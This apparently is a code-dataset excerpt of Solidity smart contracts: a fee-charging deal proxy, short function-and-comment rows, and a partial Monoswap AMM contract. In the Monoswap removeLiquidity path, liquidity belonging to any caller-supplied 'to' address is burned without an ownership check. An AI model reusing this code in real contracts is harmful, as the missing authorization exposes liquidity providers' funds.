function setInstructionsProviderContractRef(address _new) public onlyOwner whenPaused {
address old = instructionsProviderContractRef;
instructionsProviderContractRef = _new;
emit ModifyInstructionsProviderContractAddress(msg.sender, old, _new);
}
/**
* @dev Sets the Deals contract reference to a new value
* @param _new New address of the Deals contract
*/
function setDealsContractRef(address _new) public onlyOwner whenPaused {
address old = address(dealsContractRef);
dealsContractRef = Deals(_new);
emit ModifyDealsContractAddress(msg.sender, old, _new);
}
/**
* @dev Sets the Interpreter contract reference to a new value
* @param _new New address of the Interpreter contract
*/
function setInterpreterContractRef(address _new) public onlyOwner whenPaused {
address old = interpreterContractRef;
interpreterContractRef = _new;
emit ModifyInterpreterContractAddress(msg.sender, old, _new);
}
// Contract fees
/**
* @dev Sets the account creation fees to a new value
* @param _new New value for the account creation fees in USD
*/
function setAccountCreationFees(uint _new) public onlyOwner whenPaused {
uint old = accountCreationFees;
accountCreationFees = _new;
emit ModifyAccountCreationFees(msg.sender, old, _new);
}
/**
* @dev Sets the rule creation fees to a new value
* @param _new New value for the rule creation fees in USD
*/
function setRuleCreationFees(uint _new) public onlyOwner whenPaused {
uint old = ruleCreationFees;
ruleCreationFees = _new;
emit ModifyRuleCreationFees(msg.sender, old, _new);
}
/**
* @dev Sets the allow all addresses fees to a new value
* @param _new New value for the allow all addresses fees in USD
*/
function setAllowAllAddressesFees(uint _new) public onlyOwner whenPaused {
uint old = allowAllAddressesFees;
allowAllAddressesFees = _new;
emit ModifyAllowAllAccountsFees(msg.sender, old, _new);
}
/**
* @dev Sets the transaction minimal value to a new value
* @param _new New value for the transaction minimal value in USD
*/
function setTransactionMinimalValue(uint _new) public onlyOwner whenPaused {
uint old = transactionMinimalValue;
transactionMinimalValue = _new;
emit ModifyTransactionMinimalValue(msg.sender, old, _new);
}
/**
* @dev Sets the transaction fees to a new value
* @param _new New value for the transaction fees in % of msg.value
*/
function setTransactionFees(uint _new) public onlyOwner whenPaused {
uint old = transactionFees;
transactionFees = _new;
emit ModifyTransactionFees(msg.sender, old, _new);
}
/* PUBLIC INTERFACE */
/**
* @dev Creates a deal and returns its id
* @param _accounts List of accounts addresses linked to the deal
* @param _rulesList List of the rules linked to the deal (rule = list of Articles)
* @return Id of the deal created
*/
function createDeal
(
address[] memory _accounts,
CommonStructs.Article[][] memory _rulesList
)
external
payable
whenNotPaused
returns (uint) {
// Compute creation fees in WEI
uint creationFeesInWEI = computeDealCreationFeesInWEI(_accounts.length, _rulesList.length);
// Check 1: Amount sent by the user should cover the deal creation fees
require(msg.value >= creationFeesInWEI, "Insufficient value to cover the deal creation fees");
// Check 2: Make sure that the instructions are all supported
for (uint i=0;i<_rulesList.length;i++) {
for (uint j=0;j<_rulesList[i].length;j++) {
// Get the instruction type & signature
(, string memory instructionSignature) = instructionsContractRef.getInstruction(_rulesList[i][j].instructionName);
// If the signature is empty, this means that the instruction is not present => revert
require(!stringsEqual(instructionSignature,''),"Proxy.CreateDeal: Instruction is not supported");
}
}
// Create the deal
uint dealId = dealsContractRef.createDeal(_accounts, _rulesList);
// Reimburse excess value to the caller if necessary
uint excessValue = (msg.value - creationFeesInWEI);
if (excessValue > 0){
(bool sent, ) = msg.sender.call{value: excessValue } ("");
require(sent, "Proxy.createDeal: Failed to reimburse excess ETH");
emit ReimburseExcessValue(msg.sender, dealId, excessValue);
}
// Emit a PayDealCreationFees
emit PayDealCreationFees(msg.sender, dealId, creationFeesInWEI);
return dealId;
}
/**
* @dev Execute a deal's rule
* @param _dealId : Id of the deal to execute
* @param _ruleId : Id of the rule to execute
*/
function executeRule(uint _dealId, uint _ruleId) external payable whenNotPaused {
// Amount sent by the user should be higher or equal to the minimal transaction value
uint msgValueInUSD = convertWEI2USD(msg.value);
require( msgValueInUSD >= transactionMinimalValue, "Transaction minimal value not reached");
// Upgrability: Low level call to InstructionsProvider
// Includes in the call (msg.value - execution fees)
uint executionFees = (msg.value / 100) * transactionFees;
(bool success, ) = interpreterContractRef.call{value: (msg.value - executionFees)}(
abi.encodeWithSignature(
"interpretRule(address,uint256,uint256)",
msg.sender,
_dealId,
_ruleId
)
);
// Did the low level call succeed?
require(success,"Proxy: Unable to execute rule");
// Emit a PayTransactionFees
emit PayTransactionFees(msg.sender, _dealId, _ruleId, executionFees);
}
/**
* @dev Withdraw all deposit from escrow for msg.sender
*/
function withdraw() external whenNotPaused {
(bool success,) = instructionsProviderContractRef.call(
abi.encodeWithSignature(
"withdraw(address)",
msg.sender
)
);
require(success,"Proxy: Unable to get withdraw deposits of caller from Escrow!");
}
/**
* @dev Get the internal balance of the contract
* @return The internal balance of the contract in Wei
*/
function getContractBalance() public view onlyOwner returns(uint) {
return address(this).balance;
}
/**
* @dev Owner can withdraw ETH from the contract balance
*/
function harvest() external payable onlyOwner {
// Sends contract ETH balance to owner if balance > 0
uint balance = address(this).balance;
if (balance>0)
payable(msg.sender).transfer(balance);
}
/* CHAINLINK ETH/USD PRICE FEED AGGREGATOR */
/**
* @dev Query & save the latest quotation from ChainLink price feed aggregator on Rinkeby
*/
function saveLatestQuotation() public onlyOwner {
// Query last ETH/USD price from ChainLink
(, int price, , uint timestamp, ) = priceFeedRef.latestRoundData();
// Save latest quotation (rounID, price & timestamp)
lastQuotationValue = (10**18)*(10**8)/uint(price);
lastQuotationTimestamp = timestamp;
emit QueryLastQuotationFromChainlink(msg.sender, lastQuotationValue, timestamp);
}
/**
* @dev Return the last quotation from Chainlink
* @return Last quotation from Chainlink in WEI per USD
* along with the query timestamp
*/
function getLatestQuotation() public view returns(uint, uint) {
return (lastQuotationValue, lastQuotationTimestamp);
}
/* HELPER FUNCTIONS */
/**
* @dev Computes the deal creation cost in WEI
* @param _accountsCount Number of external accounts defined in the deal
* @param _rulesCount Number of rules defined in the deal
* @return Deal creation cost in WEI
*/
function computeDealCreationFeesInWEI
(
uint _accountsCount,
uint _rulesCount
)
public view returns (uint) {
return (_accountsCount * accountCreationFees + _rulesCount * ruleCreationFees)*lastQuotationValue;
}
/**
* @dev Converts an amount in WEI to USD
* @param _amountInWEI Amount in WEI
* @return Converted amount in USD
*/
function convertWEI2USD(uint _amountInWEI) public view returns(uint) {
return _amountInWEI / lastQuotationValue;
}
/**
* @dev Converts an amount in USD to WEI
* @param _amountInUSD Amount in USD
* @return Converted amount in WEI
*/
function convertUSD2WEI(uint _amountInUSD) public view returns(uint) {
return _amountInUSD * lastQuotationValue;
}
/**
* @dev Checks whether the strings are equal
* @param _s1 First string to compare
* @param _s2 Second string to compare
* @return Boolean indicating if the 2 strings are equal
*/
function stringsEqual(string memory _s1, string memory _s2) public pure returns(bool) {
return keccak256(bytes(_s1)) == keccak256(bytes(_s2));
}
/* OpenZeppelin.Pausable */
/**
* @dev Access control inherited from OpenZeppelin Ownable contract
* Pausing the contract makes the createDeal function not callable
* Getters are still callable
* Only owner can call
*/
function pause() public onlyOwner() whenNotPaused() {
_pause();
}
/**
* @dev Access control inherited from OpenZeppelin Ownable contract
* Unpausing the contract makes the createDeal function callable
* Only Owner can call
*/
function unpause() public onlyOwner() whenPaused() {
_unpause();
}
/* OVERRIDE & BLOCK UNUSED INHERITED FUNCTIONS */
/**
* @dev Block OpenZeppelin Ownable.renounceOwnership
* @notice Will always revert
*/
function renounceOwnership() public pure override {
revert('Contract cannot be revoked');
}
}
|
Withdraw all deposit from escrow for msg.sender/
|
function withdraw() external whenNotPaused {
(bool success,) = instructionsProviderContractRef.call(
abi.encodeWithSignature(
"withdraw(address)",
msg.sender
)
);
require(success,"Proxy: Unable to get withdraw deposits of caller from Escrow!");
}
| 5,396,908 |
./partial_match/1/0x17b1FF602d824eefFcdF6546FCb87A5C6BC69aDD/sources/RaiseFactory.sol
|
return If child contract is not paused./
|
function isNotPaused() public view returns(bool){
return !_paused;
}
| 2,859,423 |
./partial_match/4/0x32DE9A56b66fA157A12498774d813F6A94A7857F/sources/JCT.sol
|
Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), Reverts when dividing by zero. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./
|
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, 'SafeMath: modulo by zero');
return a % b;
}
| 8,587,784 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "hardhat/console.sol";
import "./interfaces/IMonoXPool.sol";
import './interfaces/IWETH.sol';
import './libraries/MonoXLibrary.sol';
interface IvCash is IERC20 {
function mint (address account, uint256 amount) external;
function burn (address account, uint256 amount) external;
}
/**
* The Monoswap is ERC1155 contract does this and that...
*/
contract Monoswap is Initializable, OwnableUpgradeable {
using SafeMath for uint256;
using SafeMath for uint112;
using SafeERC20 for IERC20;
using SafeERC20 for IvCash;
IvCash vCash;
address WETH;
address feeTo;
uint16 fees; // over 1e5, 300 means 0.3%
uint16 devFee; // over 1e5, 50 means 0.05%
uint256 constant MINIMUM_LIQUIDITY=100;
struct PoolInfo {
uint256 pid;
uint256 lastPoolValue;
address token;
PoolStatus status;
uint112 vcashDebt;
uint112 vcashCredit;
uint112 tokenBalance;
uint256 price; // over 1e18
uint256 createdAt; // timestamp
}
enum TxType {
SELL,
BUY
}
enum PoolStatus {
UNLISTED,
LISTED,
OFFICIAL,
SYNTHETIC,
PAUSED
}
mapping (address => PoolInfo) public pools;
// tokenStatus is for token lock/transfer. exempt means no need to verify post tx
mapping (address => uint8) private tokenStatus; //0=unlocked, 1=locked, 2=exempt
// token poool status is to track if the pool has already been created for the token
mapping (address => uint8) public tokenPoolStatus; //0=undefined, 1=exists
// negative vCash balance allowed for each token
mapping (address => uint) public tokenInsurance;
uint256 public poolSize;
uint private unlocked;
modifier lock() {
require(unlocked == 1, 'MonoX:LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
modifier lockToken(address _token) {
uint8 originalState = tokenStatus[_token];
require(originalState!=1, 'MonoX:POOL_LOCKED');
if(originalState==0) {
tokenStatus[_token] = 1;
}
_;
if(originalState==0) {
tokenStatus[_token] = 0;
}
}
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'MonoX:EXPIRED');
_;
}
modifier onlyPriceAdjuster(){
require(priceAdjusterRole[msg.sender]==true,"MonoX:BAD_ROLE");
_;
}
event AddLiquidity(address indexed provider,
uint indexed pid,
address indexed token,
uint liquidityAmount,
uint vcashAmount, uint tokenAmount, uint price);
event RemoveLiquidity(address indexed provider,
uint indexed pid,
address indexed token,
uint liquidityAmount,
uint vcashAmount, uint tokenAmount, uint price);
event Swap(
address indexed user,
address indexed tokenIn,
address indexed tokenOut,
uint amountIn,
uint amountOut,
uint swapVcashValue
);
// event PriceAdjusterChanged(
// address indexed priceAdjuster,
// bool added
// );
event PoolBalanced(
address _token,
uint vcashIn
);
event SyntheticPoolPriceChanged(
address _token,
uint price
);
event PoolStatusChanged(
address _token,
PoolStatus oldStatus,
PoolStatus newStatus
);
IMonoXPool public monoXPool;
// mapping (token address => block number of the last trade)
mapping (address => uint) public lastTradedBlock;
uint256 constant MINIMUM_POOL_VALUE = 10000 * 1e18;
mapping (address=>bool) public priceAdjusterRole;
// ------------
uint public poolSizeMinLimit;
function initialize(IMonoXPool _monoXPool, IvCash _vcash) public initializer {
OwnableUpgradeable.__Ownable_init();
monoXPool = _monoXPool;
vCash = _vcash;
WETH = _monoXPool.WETH();
fees = 300;
devFee = 50;
poolSize = 0;
unlocked = 1;
}
// receive() external payable {
// assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
// }
function setFeeTo (address _feeTo) onlyOwner external {
feeTo = _feeTo;
}
function setFees (uint16 _fees) onlyOwner external {
require(_fees<1e3);
fees = _fees;
}
function setDevFee (uint16 _devFee) onlyOwner external {
require(_devFee<1e3);
devFee = _devFee;
}
function setPoolSizeMinLimit(uint _poolSizeMinLimit) onlyOwner external {
poolSizeMinLimit = _poolSizeMinLimit;
}
function setTokenInsurance (address _token, uint _insurance) onlyOwner external {
tokenInsurance[_token] = _insurance;
}
// when safu, setting token status to 2 can achieve significant gas savings
function setTokenStatus (address _token, uint8 _status) onlyOwner external {
tokenStatus[_token] = _status;
}
// update status of a pool. onlyOwner.
function updatePoolStatus(address _token, PoolStatus _status) external onlyOwner {
PoolStatus poolStatus = pools[_token].status;
if(poolStatus==PoolStatus.PAUSED){
require(block.number > lastTradedBlock[_token].add(6000), "MonoX:TOO_EARLY");
}
else{
// okay to pause an official pool, wait 6k blocks and then convert it to synthetic
require(_status!=PoolStatus.SYNTHETIC,"MonoX:NO_SYNT");
}
emit PoolStatusChanged(_token, poolStatus,_status);
pools[_token].status = _status;
// unlisting a token allows creating a new pool of the same token.
// should move it to PAUSED if the goal is to blacklist the token forever
if(_status==PoolStatus.UNLISTED) {
tokenPoolStatus[_token] = 0;
}
}
/**
@dev update pools price if there were no active trading for the last 6000 blocks
@notice Only owner callable, new price can neither be 0 nor be equal to old one
@param _token pool identifider (token address)
@param _newPrice new price in wei (uint112)
*/
function updatePoolPrice(address _token, uint _newPrice) external onlyOwner {
require(_newPrice > 0, 'MonoX:0_PRICE');
require(tokenPoolStatus[_token] != 0, "MonoX:NO_POOL");
require(block.number > lastTradedBlock[_token].add(6000), "MonoX:TOO_EARLY");
pools[_token].price = _newPrice;
lastTradedBlock[_token] = block.number;
}
function updatePriceAdjuster(address account, bool _status) external onlyOwner{
priceAdjusterRole[account]=_status;
//emit PriceAdjusterChanged(account,_status);
}
function setSynthPoolPrice(address _token, uint price) external onlyPriceAdjuster {
require(pools[_token].status==PoolStatus.SYNTHETIC,"MonoX:NOT_SYNT");
require(price > 0, "MonoX:ZERO_PRICE");
pools[_token].price=price;
emit SyntheticPoolPriceChanged(_token,price);
}
function rebalancePool(address _token) external lockToken(_token) onlyOwner{
// // PoolInfo memory pool = pools[_token];
// uint poolPrice = pools[_token].price;
// require(vcashIn <= pools[_token].vcashDebt,"MonoX:NO_CREDIT");
// require((pools[_token].tokenBalance * poolPrice).div(1e18) >= vcashIn,"MonoX:INSUF_TOKEN_VAL");
// // uint rebalancedAmount = vcashIn.mul(1e18).div(pool.price);
// monoXPool.safeTransferERC20Token(_token, msg.sender, vcashIn.mul(1e18).div(poolPrice));
// _syncPoolInfo(_token, vcashIn, 0);
// emit PoolBalanced(_token, vcashIn);
_internalRebalance(_token);
}
// must be called from a method with token lock to prevent reentry
function _internalRebalance(address _token) internal {
uint poolPrice = pools[_token].price;
uint vcashIn = pools[_token].vcashDebt;
if(poolPrice.mul(pools[_token].tokenBalance) / 1e18 < vcashIn){
vcashIn = poolPrice.mul(pools[_token].tokenBalance) / 1e18;
}
if(tokenStatus[_token]==2){
monoXPool.safeTransferERC20Token(_token, feeTo, vcashIn.mul(1e18).div(poolPrice));
}else{
uint256 balanceIn0 = IERC20(_token).balanceOf(address(monoXPool));
monoXPool.safeTransferERC20Token(_token, feeTo, vcashIn.mul(1e18).div(poolPrice));
uint256 balanceIn1 = IERC20(_token).balanceOf(address(monoXPool));
uint realAmount = balanceIn0.sub(balanceIn1);
vcashIn = realAmount.mul(poolPrice) / 1e18;
}
_syncPoolInfo(_token, vcashIn, 0);
emit PoolBalanced(_token,vcashIn);
}
// creates a pool
function _createPool (address _token, uint _price, PoolStatus _status) lock internal returns(uint256 _pid) {
require(tokenPoolStatus[_token]==0, "MonoX:POOL_EXISTS");
require (_token != address(vCash), "MonoX:NO_vCash");
_pid = poolSize;
pools[_token] = PoolInfo({
token: _token,
pid: _pid,
vcashCredit: 0,
vcashDebt: 0,
tokenBalance: 0,
lastPoolValue: 0,
status: _status,
price: _price,
createdAt: block.timestamp
});
poolSize = _pid.add(1);
tokenPoolStatus[_token]=1;
// initialze pool's lasttradingblocknumber as the block number on which the pool is created
lastTradedBlock[_token] = block.number;
}
// creates a pool with special status
function addSpecialToken (address _token, uint _price, PoolStatus _status) onlyOwner external returns(uint256 _pid) {
_pid = _createPool(_token, _price, _status);
}
// internal func to pay contract owner
function _mintFee (uint256 pid, uint256 lastPoolValue, uint256 newPoolValue) internal {
// uint256 _totalSupply = monoXPool.totalSupplyOf(pid);
if(newPoolValue>lastPoolValue && lastPoolValue>0) {
// safe ops, since newPoolValue>lastPoolValue
uint256 deltaPoolValue = newPoolValue - lastPoolValue;
// safe ops, since newPoolValue = deltaPoolValue + lastPoolValue > deltaPoolValue
uint256 devLiquidity = monoXPool.totalSupplyOf(pid).mul(deltaPoolValue).mul(devFee).div(newPoolValue-deltaPoolValue)/1e5;
monoXPool.mint(feeTo, pid, devLiquidity);
}
}
// util func to get some basic pool info
function getPool (address _token) view public returns (uint256 poolValue,
uint256 tokenBalanceVcashValue, uint256 vcashCredit, uint256 vcashDebt) {
// PoolInfo memory pool = pools[_token];
vcashCredit = pools[_token].vcashCredit;
vcashDebt = pools[_token].vcashDebt;
tokenBalanceVcashValue = pools[_token].price.mul(pools[_token].tokenBalance)/1e18;
poolValue = tokenBalanceVcashValue.add(vcashCredit).sub(vcashDebt);
}
// trustless listing pool creation. always creates unofficial pool
function listNewToken (address _token, uint _price,
uint256 vcashAmount,
uint256 tokenAmount,
address to) external returns(uint _pid, uint256 liquidity) {
_pid = _createPool(_token, _price, PoolStatus.LISTED);
liquidity = _addLiquidityPair(_token, vcashAmount, tokenAmount, msg.sender, to);
}
// add liquidity pair to a pool. allows adding vcash.
function addLiquidityPair (address _token,
uint256 vcashAmount,
uint256 tokenAmount,
address to) external returns(uint256 liquidity) {
liquidity = _addLiquidityPair(_token, vcashAmount, tokenAmount, msg.sender, to);
}
// add liquidity pair to a pool. allows adding vcash.
function _addLiquidityPair (address _token,
uint256 vcashAmount,
uint256 tokenAmount,
address from,
address to) internal lockToken(_token) returns(uint256 liquidity) {
require (tokenAmount>0, "MonoX:BAD_AMOUNT");
require(tokenPoolStatus[_token]==1, "MonoX:NO_POOL");
// (uint256 poolValue, , ,) = getPool(_token);
PoolInfo memory pool = pools[_token];
IMonoXPool monoXPoolLocal = monoXPool;
uint256 poolValue = pool.price.mul(pool.tokenBalance)/1e18;
poolValue = poolValue.add(pool.vcashCredit).sub(pool.vcashDebt);
_mintFee(pool.pid, pool.lastPoolValue, poolValue);
tokenAmount = transferAndCheck(from,address(monoXPoolLocal),_token,tokenAmount);
if(vcashAmount>0){
vCash.safeTransferFrom(msg.sender, address(monoXPoolLocal), vcashAmount);
vCash.burn(address(monoXPool), vcashAmount);
}
// this is to avoid stack too deep
{
uint256 _totalSupply = monoXPoolLocal.totalSupplyOf(pool.pid);
uint256 liquidityVcashValue = vcashAmount.add(tokenAmount.mul(pool.price)/1e18);
if(_totalSupply==0){
liquidityVcashValue = liquidityVcashValue/1e6; // so $1m would get you 1e18
liquidity = liquidityVcashValue.sub(MINIMUM_LIQUIDITY);
// sorry, oz doesn't allow minting to address(0)
monoXPoolLocal.mintLp(feeTo, pool.pid, MINIMUM_LIQUIDITY, pool.status == PoolStatus.LISTED);
}else{
liquidity = _totalSupply.mul(liquidityVcashValue).div(poolValue);
}
}
monoXPoolLocal.mintLp(to, pool.pid, liquidity, pool.status == PoolStatus.LISTED);
_syncPoolInfo(_token, vcashAmount, 0);
emit AddLiquidity(to,
pool.pid,
_token,
liquidity,
vcashAmount, tokenAmount, pool.price);
}
// add one-sided liquidity to a pool. no vcash
function addLiquidity (address _token, uint256 _amount, address to) external returns(uint256 liquidity) {
liquidity = _addLiquidityPair(_token, 0, _amount, msg.sender, to);
}
// add one-sided ETH liquidity to a pool. no vcash
function addLiquidityETH (address to) external payable returns(uint256 liquidity) {
MonoXLibrary.safeTransferETH(address(monoXPool), msg.value);
monoXPool.depositWETH(msg.value);
liquidity = _addLiquidityPair(WETH, 0, msg.value, address(this), to);
}
// updates pool vcash balance, token balance and last pool value.
// this function requires others to do the input validation
function _syncPoolInfo (address _token, uint256 vcashIn, uint256 vcashOut) internal {
// PoolInfo memory pool = pools[_token];
uint256 tokenPoolPrice = pools[_token].price;
(uint256 vcashCredit, uint256 vcashDebt) = _updateVcashBalance(_token, vcashIn, vcashOut);
uint256 tokenReserve = IERC20(_token).balanceOf(address(monoXPool));
uint256 tokenBalanceVcashValue = tokenPoolPrice.mul(tokenReserve)/1e18;
require(tokenReserve <= uint112(-1));
pools[_token].tokenBalance = uint112(tokenReserve);
// poolValue = tokenBalanceVcashValue.add(vcashCredit).sub(vcashDebt);
pools[_token].lastPoolValue = tokenBalanceVcashValue.add(vcashCredit).sub(vcashDebt);
}
// view func for removing liquidity
function _removeLiquidity (address _token, uint256 liquidity,
address to) view public returns(
uint256 poolValue, uint256 liquidityIn, uint256 vcashOut, uint256 tokenOut) {
require (liquidity>0, "MonoX:BAD_AMOUNT");
uint256 tokenBalanceVcashValue;
uint256 vcashCredit;
uint256 vcashDebt;
PoolInfo memory pool = pools[_token];
IMonoXPool monoXPoolLocal = monoXPool;
uint256 lastAdded = monoXPoolLocal.liquidityLastAddedOf(pool.pid, msg.sender);
require((lastAdded + (pool.status == PoolStatus.OFFICIAL ? 4 hours : pool.status == PoolStatus.LISTED ? 24 hours : 0)) <= block.timestamp, "MonoX:WRONG_TIME"); // Users are not allowed to remove liquidity right after adding
address topLPHolder = monoXPoolLocal.topLPHolderOf(pool.pid);
require(pool.status != PoolStatus.LISTED || msg.sender != topLPHolder || pool.createdAt + 90 days < block.timestamp, "MonoX:TOP_HOLDER & WRONG_TIME"); // largest LP holder is not allowed to remove LP within 90 days after pool creation
(poolValue, tokenBalanceVcashValue, vcashCredit, vcashDebt) = getPool(_token);
uint256 _totalSupply = monoXPool.totalSupplyOf(pool.pid);
liquidityIn = monoXPool.balanceOf(to, pool.pid)>liquidity?liquidity:monoXPool.balanceOf(to, pool.pid);
uint256 tokenReserve = IERC20(_token).balanceOf(address(monoXPool));
if(tokenReserve < pool.tokenBalance){
tokenBalanceVcashValue = tokenReserve.mul(pool.price)/1e18;
}
if(vcashDebt>0){
tokenReserve = (tokenBalanceVcashValue.sub(vcashDebt)).mul(1e18).div(pool.price);
}
// if vcashCredit==0, vcashOut will be 0 as well
vcashOut = liquidityIn.mul(vcashCredit).div(_totalSupply);
tokenOut = liquidityIn.mul(tokenReserve).div(_totalSupply);
}
// actually removes liquidity
function removeLiquidity (address _token, uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut) {
(vcashOut, tokenOut) = _removeLiquidityHelper (_token, liquidity, to, minVcashOut, minTokenOut, false);
}
// actually removes liquidity
function _removeLiquidityHelper (address _token, uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut,
bool isETH) lockToken(_token) internal returns(uint256 vcashOut, uint256 tokenOut) {
require (tokenPoolStatus[_token]==1, "MonoX:NO_TOKEN");
PoolInfo memory pool = pools[_token];
uint256 poolValue;
uint256 liquidityIn;
(poolValue, liquidityIn, vcashOut, tokenOut) = _removeLiquidity(_token, liquidity, to);
_mintFee(pool.pid, pool.lastPoolValue, poolValue);
require (vcashOut>=minVcashOut, "MonoX:INSUFF_vCash");
require (tokenOut>=minTokenOut, "MonoX:INSUFF_TOKEN");
if (vcashOut>0){
vCash.mint(to, vcashOut);
}
if (!isETH) {
monoXPool.safeTransferERC20Token(_token, to, tokenOut);
} else {
monoXPool.withdrawWETH(tokenOut);
monoXPool.safeTransferETH(to, tokenOut);
}
monoXPool.burn(to, pool.pid, liquidityIn);
_syncPoolInfo(_token, 0, vcashOut);
emit RemoveLiquidity(to,
pool.pid,
_token,
liquidityIn,
vcashOut, tokenOut, pool.price);
}
// actually removes ETH liquidity
function removeLiquidityETH (uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut) {
(vcashOut, tokenOut) = _removeLiquidityHelper (WETH, liquidity, to, minVcashOut, minTokenOut, true);
}
// util func to compute new price
function _getNewPrice (uint256 originalPrice, uint256 reserve,
uint256 delta, uint256 deltaBlocks, TxType txType) pure internal returns(uint256 price) {
if(txType==TxType.SELL) {
// no risk of being div by 0
price = originalPrice.mul(reserve)/(reserve.add(delta));
}else{ // BUY
price = originalPrice.mul(reserve).div(reserve.sub(delta));
}
}
// util func to compute new price
function _getAvgPrice (uint256 originalPrice, uint256 newPrice) pure internal returns(uint256 price) {
price = originalPrice.add(newPrice.mul(4))/5;
}
// standard swap interface implementing uniswap router V2
function swapExactETHForToken(
address tokenOut,
uint amountOutMin,
address to,
uint deadline
) external virtual payable ensure(deadline) returns (uint amountOut) {
uint amountIn = msg.value;
MonoXLibrary.safeTransferETH(address(monoXPool), amountIn);
monoXPool.depositWETH(amountIn);
amountOut = swapIn(WETH, tokenOut, address(this), to, amountIn);
require(amountOut >= amountOutMin, 'MonoX:INSUFF_OUTPUT');
}
function swapExactTokenForETH(
address tokenIn,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external virtual ensure(deadline) returns (uint amountOut) {
IMonoXPool monoXPoolLocal = monoXPool;
amountOut = swapIn(tokenIn, WETH, msg.sender, address(monoXPoolLocal), amountIn);
require(amountOut >= amountOutMin, 'MonoX:INSUFF_OUTPUT');
monoXPoolLocal.withdrawWETH(amountOut);
monoXPoolLocal.safeTransferETH(to, amountOut);
}
function swapETHForExactToken(
address tokenOut,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external virtual payable ensure(deadline) returns (uint amountIn) {
uint amountSentIn = msg.value;
( , , amountIn, ) = getAmountIn(WETH, tokenOut, amountOut);
MonoXLibrary.safeTransferETH(address(monoXPool), amountIn);
monoXPool.depositWETH(amountIn);
amountIn = swapOut(WETH, tokenOut, address(this), to, amountOut);
require(amountIn <= amountSentIn, 'MonoX:BAD_INPUT');
require(amountIn <= amountInMax, 'MonoX:EXCESSIVE_INPUT');
if (amountSentIn > amountIn) {
MonoXLibrary.safeTransferETH(msg.sender, amountSentIn.sub(amountIn));
}
}
function swapTokenForExactETH(
address tokenIn,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external virtual ensure(deadline) returns (uint amountIn) {
IMonoXPool monoXPoolLocal = monoXPool;
amountIn = swapOut(tokenIn, WETH, msg.sender, address(monoXPoolLocal), amountOut);
require(amountIn <= amountInMax, 'MonoX:EXCESSIVE_INPUT');
monoXPoolLocal.withdrawWETH(amountOut);
monoXPoolLocal.safeTransferETH(to, amountOut);
}
function swapExactTokenForToken(
address tokenIn,
address tokenOut,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external virtual ensure(deadline) returns (uint amountOut) {
amountOut = swapIn(tokenIn, tokenOut, msg.sender, to, amountIn);
require(amountOut >= amountOutMin, 'MonoX:INSUFF_OUTPUT');
}
function swapTokenForExactToken(
address tokenIn,
address tokenOut,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external virtual ensure(deadline) returns (uint amountIn) {
amountIn = swapOut(tokenIn, tokenOut, msg.sender, to, amountOut);
require(amountIn <= amountInMax, 'MonoX:EXCESSIVE_INPUT');
}
// util func to manipulate vcash balance
function _updateVcashBalance (address _token,
uint _vcashIn, uint _vcashOut) internal returns (uint _vcashCredit, uint _vcashDebt) {
if(_vcashIn>_vcashOut){
_vcashIn = _vcashIn - _vcashOut;
_vcashOut = 0;
}else{
_vcashOut = _vcashOut - _vcashIn;
_vcashIn = 0;
}
// PoolInfo memory _pool = pools[_token];
uint _poolVcashCredit = pools[_token].vcashCredit;
uint _poolVcashDebt = pools[_token].vcashDebt;
PoolStatus _poolStatus = pools[_token].status;
if(_vcashOut>0){
(_vcashCredit, _vcashDebt) = MonoXLibrary.vcashBalanceSub(
_poolVcashCredit, _poolVcashDebt, _vcashOut);
require(_vcashCredit <= uint112(-1) && _vcashDebt <= uint112(-1));
pools[_token].vcashCredit = uint112(_vcashCredit);
pools[_token].vcashDebt = uint112(_vcashDebt);
}
if(_vcashIn>0){
(_vcashCredit, _vcashDebt) = MonoXLibrary.vcashBalanceAdd(
_poolVcashCredit, _poolVcashDebt, _vcashIn);
require(_vcashCredit <= uint112(-1) && _vcashDebt <= uint112(-1));
pools[_token].vcashCredit = uint112(_vcashCredit);
pools[_token].vcashDebt = uint112(_vcashDebt);
}
if(_poolStatus == PoolStatus.LISTED){
require (_vcashDebt<=tokenInsurance[_token], "MonoX:INSUFF_vCash");
}
}
// updates pool token balance and price.
function _updateTokenInfo (address _token, uint256 _price,
uint256 _vcashIn, uint256 _vcashOut, uint256 _ETHDebt) internal {
uint256 _balance = IERC20(_token).balanceOf(address(monoXPool));
_balance = _balance.sub(_ETHDebt);
require(pools[_token].status!=PoolStatus.PAUSED,"MonoX:PAUSED");
require(_balance <= uint112(-1));
(uint initialPoolValue, , ,) = getPool(_token);
pools[_token].tokenBalance = uint112(_balance);
pools[_token].price = _price;
// record last trade's block number in mapping: lastTradedBlock
lastTradedBlock[_token] = block.number;
_updateVcashBalance(_token, _vcashIn, _vcashOut);
(uint poolValue, , ,) = getPool(_token);
require(initialPoolValue <= poolValue || poolValue >= poolSizeMinLimit,
"MonoX:MIN_POOL_SIZE");
}
function directSwapAllowed(uint tokenInPoolPrice,uint tokenOutPoolPrice,
uint tokenInPoolTokenBalance, uint tokenOutPoolTokenBalance, PoolStatus status, bool getsAmountOut) internal pure returns(bool){
uint tokenInValue = tokenInPoolTokenBalance.mul(tokenInPoolPrice).div(1e18);
uint tokenOutValue = tokenOutPoolTokenBalance.mul(tokenOutPoolPrice).div(1e18);
